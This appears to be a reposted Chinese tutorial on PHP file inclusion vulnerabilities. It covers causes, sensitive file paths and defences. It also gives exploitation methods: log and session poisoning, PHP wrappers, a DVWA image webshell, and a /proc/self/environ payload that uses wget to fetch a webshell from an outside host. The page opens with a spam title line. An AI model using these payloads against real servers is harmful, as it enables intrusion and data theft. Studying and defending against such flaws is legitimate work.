狠狠色丁香婷婷综合尤物/久久精品综合一区二区三区/中国有色金属学报/国产日韩欧美在线观看 - 国产一区二区三区四区五区tv

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發文檔 其他文檔  
 
網站管理員

【Web滲透】文件包含漏洞


2023年12月11日 13:17 本文熱度 845

一、文件包含漏洞概述

1.什么是文件包含

程序開發人員通常會把可重復使用的函數寫到單個文件中,在使用某個函數的時候,直接調用此文件,無需再次編寫,這種調用文件的過程通常稱為包含。

2.文件包含漏洞產生原理

文件包含函數加載的參數沒有經過過濾或嚴格定義,可以被用戶控制,包含其他惡意文件,導致了執行非預期代碼。

程序開發人員都希望代碼更加靈活,所以通常會把被包含的文件設置為變量來進行動態調用,但正是由于這種靈活性,從而導致客戶端可以調用任意文件,造成文件包含漏洞

例子

$_GET['filename']參數開發者沒有經過嚴格的過濾,直接帶入了include的函數,攻擊者可以修改$_GET['filename']的值,執行非預期的操作。

show.php即可為用戶上傳的可執行的惡意腳本文件

包含文件內容只要符合php語法都能被當成php代碼進行解析,無關后綴名是什么

特點

條件

  • include()等函數通過動態變量的方式引入需要包含的文件。

  • 用戶能夠控制這個動態變量。

php相關配置

allow_url_fopen=On// 本地文件包含(LFI),但這個無論On或Off,本地文件包含都存在allow_url_include=On// 遠程文件包含(RFI)

3.存在文件包含的腳本語言及應用函數

  • php

require:函數出現錯誤時,會直接報錯并退出程序執行

require_once:出錯直接退出;且僅包含一次。在腳本執行期間同一個文件可能被多次引用,確保只包含一次以避免函數重定義,變量重新賦值等問題。

include:出現錯誤時,會出現警告但是程序會繼續執行

include-once:出現錯誤時,會拋出警告,且僅包含一次

  • jsp/servlet

ava.io.file()

java.io.filereader()

  • asp

include file

include virtual

4.文件包含漏洞的危害

1、敏感信息泄露

2、獲取Webshell

3、任意命令執行

常見的敏感信息路徑:

Windows系統

c:\boot.ini // 查看系統版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存儲Windows系統初次安裝的密碼

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼

c:\windows\php.ini // php 配置信息

Linux/Unix系統

/etc/passwd // 賬戶信息

/etc/shadow // 賬戶密碼文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置

/usr/local/app/php5/lib/php.ini // PHP相關配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

二、文件包含漏洞類型

1.本地文件包含漏洞(LFI)

能夠讀取或執行包含本地文件的漏洞,稱為本地文件包含漏洞。

包含服務器本身存在的惡意文件 a.txt

<?php

phpinfo();

?>

b.php

<?php

$b=$_GET['id'];

include($b);

?>

payload

localhost/b.php?id=a.txt //返回phpinfo頁面

注:

  • 兩個文件在同一目錄下(若不在同一目錄這被包含的文件路徑必須寫絕對路徑或相對路徑)(相對路徑./當前目錄 ../上級目錄)

  • 被包含的頁面的后綴無論是什么都會當做PHP解析

2.遠程文件包含(RFI) 包含其他網站上的惡意文件 遠程文件包含利用條件:在php.ini中allow_url_fopen=on、allow_url_include=on payload:

localhost/b.php?id=http://ip/文件路徑

注:遠程包含的文件路徑必須是絕對路徑

三、常用的防御方式

  • 設置白名單

代碼在進行文件包含時,如果文件名可以確定,可以設置白名單對傳入的參數進行比較。

  • 過濾危險字符

由于Include/Require可以對PHP Wrapper形式的地址進行包含執行(需要配置php.ini),在 Linux環境中可以通過”../../”的形式進行目錄繞過,所以需要判斷文件名稱是否為合法的PHP 文 件。

  • 設置文件目錄

PHP配置文件中有open_basedir選項可以設置用戶需要執行的文件目錄,如果設置目錄的 話,PHP僅僅在該目錄內搜索文件。

  • 關閉危險配置

PHP配置中的allow_url_include選項如果打開,PHP會通過Include/Require進行遠程文件包 含,由于遠程文件的不可信任性及不確定性,在開發中禁止打開此選項,PHP默認是關閉的。

四、常用的利用方式

1.本地文件包含配合日志文件

1、日志的默認路徑 /etc/httpd/logs/access_log或/var/log/httpd/access_log //apache+linux D:xamppapachelogsaccess.log或D:xamppapachelogserror.log //apache_win2003 C:WINDOWSsystem32Logfiles //iis6.0+win2003 %SystemDrive%inetpublogsLogFiles //iis7.0+win2003 nginx 日志文件在用戶安裝目錄的logs目錄下 2、web中間件默認配置uoh文件 /etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd //apache+linux C:/Windows/system32/inetsrv/metabase.xml //iis6.0+win2003 C:WindowsSystem32inetsrvconfigapplicationHost.config //iis7.0+win 3、利用 訪問http://www.xx.com/<?php phpinfo(); ?>時,<?php phpinfo(); ?>也會被記錄在日志里,也可以插入到User-Agent;但是在日志里這句話被編碼了;所以用Burp Suite修改來繞過編碼;然后包含相應的日志文件:http://localhost/include/file.php?file=../../apache/logs/access.log //(這里利用相對路徑,找到日志文件,并以php解析的方式打開) 4、防御 隱藏或修改默認日志文件 設置日志文件讀取權限

找到Apache路徑,利用包含漏洞包含日志文件獲取Webshell。

Apache兩個日志文件:access.log、error.log 很多時候,web服務器會將請求寫入到日志文件中,比如說apache。在用戶發起請求時,會將請求寫入access.log,當發生錯誤時將錯誤寫入error.log。

各字段分別為:客戶端地址、訪問者標識、訪問者的驗證名字、請求時間、請求類型、狀態碼、發送給客戶端的字節數

當發現網站存在包含漏洞,但無webshell文件包含,也無上傳點時

當訪問不存在的資源時,apache日志同樣會記錄。

訪問127.0.0.1/include/<?php phpinfo();?>,再包含日志文件

2.本地文件包含配合/proc/self/environ文件

1、找文件包含漏洞www.aaa.com/view.php?page=../www.aaa.com/view.php?page=../../../../../etc/passwd 2、檢查proc/self/environ是否可以訪問www.aaa.com/view.php?page=../../../../../proc/self/environ 3、如果可讀就注入代碼 訪問:www.aaa.com/view.php?page=../../../../../proc/self/environ 選擇User-Agent 寫代碼如下:<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?> //提交請求;我們的命令將被執行(將下載http://www.yourweb.com/oneword.txt,并將其保存為它在shell.php網站目錄),我們的shell也就被創建,.如果不行,嘗試使用exec(),因為系統可能被禁用的從php.ini網絡服務器. 4、訪問shell 5、防御: 設置proc/self/environ不可訪問

3.本地文件包含配合session文件

?file=../../../../../../tmp/sess_1sv3pu01f97dp3qcfef8i2b9r2 //讀取session文件

利用條件:

session的存儲位置可以獲取。

通過phpinfo的信息可以獲取到session的存儲位置。

通過phpinfo的信息,獲取到session.save_path為/var/lib/php/session:

通過猜測默認的session存放位置進行嘗試。

session中的內容可以被控制,傳入惡意代碼。

示例:

<?phpsession_start();$ctfs=$_GET['ctfs'];$_SESSION["username"]=$ctfs;?>

漏洞分析

此php會將獲取到的GET型ctfs變量的值存入到session中。

當訪問http://www.ctfs-wiki/session.php?ctfs=ctfs 后,會在/var/lib/php/session目錄下存儲session的值。

session的文件名為sess_+sessionid,sessionid可以通過開發者模式獲取。

所以session的文件名為sess_akp79gfiedh13ho11i6f3sm6s6。

到服務器的/var/lib/php/session目錄下查看果然存在此文件,內容為:

username|s:4:"ctfs";[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6username|s:4:"ctfs"

漏洞利用

通過上面的分析,可以知道ctfs傳入的值會存儲到session文件中,如果存在本地文件包含漏洞,就可以通過ctfs寫入惡意代碼到session文件中,然后通過文件包含漏洞執行此惡意代碼getshell。

當訪問http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,會在/var/lib/php/session目錄下存儲session的值。

[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1ausername|s:18:"<?php phpinfo();?>";

攻擊者通過phpinfo()信息泄露或者猜測能獲取到session存放的位置,文件名稱通過開發者模式可獲取到,然后通過文件包含的漏洞解析惡意代碼getshell。

4.php偽協議

PHP 文件包含漏洞姿勢總結

PHP內置了很多URL風格的封裝協議,可用于類似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系統函數,如下所示:

  • php://filter

有一些敏感信息會保存在php文件中,如果我們直接利用文件包含去打開一個php文件,php代碼是不會顯示在頁面上的,例如打開data目錄下的config.php:

這時候我們可以以base64編碼的方式讀取指定文件的源碼:

輸入:php://filter/convert.base64-encode/resource=文件路徑

得到config.php加密后的源碼:

  • data://

利用data:// 偽協議可以直接達到執行php代碼的效果,例如執行phpinfo()函數:

如果此處對特殊字符進行了過濾,我們還可以通過base64編碼后再輸入:

  • zip:// 執行壓縮文件

如果網站允許我們上傳壓縮文件,我們也可以將php文件壓縮后進行上傳,再通過zip://協議執行。

以DVWA平臺為例,我們將phpinfo.php文件進行壓縮后上傳:

通過zip://協議執行zip壓縮包中的phpinfo.php文件:

  • php://input

  • phar

  • 總結

5.配合文件上傳使用

有時候我們找不到文件上傳漏洞,無法上傳webshell,可以先上傳一個圖片格式的webshell到服務器,再利用本地文件包含漏洞進行解析。

以DVWA平臺為例,編輯一個圖片馬,內容如下:

找到上傳點進行上傳:

文件保存的完整路徑為:

C:\phpStudy\WWW\hackable\uploads\webshell.jpg

DVWA平臺low等級文件包含漏洞頁面如下:

該頁面用于讀取C:\phpStudy\WWW\vulnerabilities\fi\路徑中的文件,代碼如下:

現在我們利用該頁面去執行我們上傳的圖片馬,路徑需要從C:\phpStudy\WWW\vulnerabilities\fi\ 轉到C:\phpStudy\WWW\hackable\uploads\webshell.jpg

構造URL如下,頁面無報錯:

可以看到fi文件夾中生成了一個webshell:

使用webshell管理工具連接即可。

注:我們也可以直接在webshell.jpg中寫一句話木馬,然后再通過文件包含漏洞去連接webshell.jpg,但這種方法有時候webshell功能會出現異常。所以我們選擇上面的方式,生成一個.php格式的一句話木馬,再去連接。

五、常用的繞過方式


該文章在 2023/12/11 16:06:02 編輯過
關鍵字查詢
相關文章
正在查詢...
點晴ERP是一款針對中小制造業的專業生產管理軟件系統,系統成熟度和易用性得到了國內大量中小企業的青睞。
點晴PMS碼頭管理系統主要針對港口碼頭集裝箱與散貨日常運作、調度、堆場、車隊、財務費用、相關報表等業務管理,結合碼頭的業務特點,圍繞調度、堆場作業而開發的。集技術的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業的高效ERP管理信息系統。
點晴WMS倉儲管理系統提供了貨物產品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質期管理,貨位管理,庫位管理,生產管理,WMS管理系統,標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協同辦公管理系統。
Copyright 2010-2025 ClickSun All Rights Reserved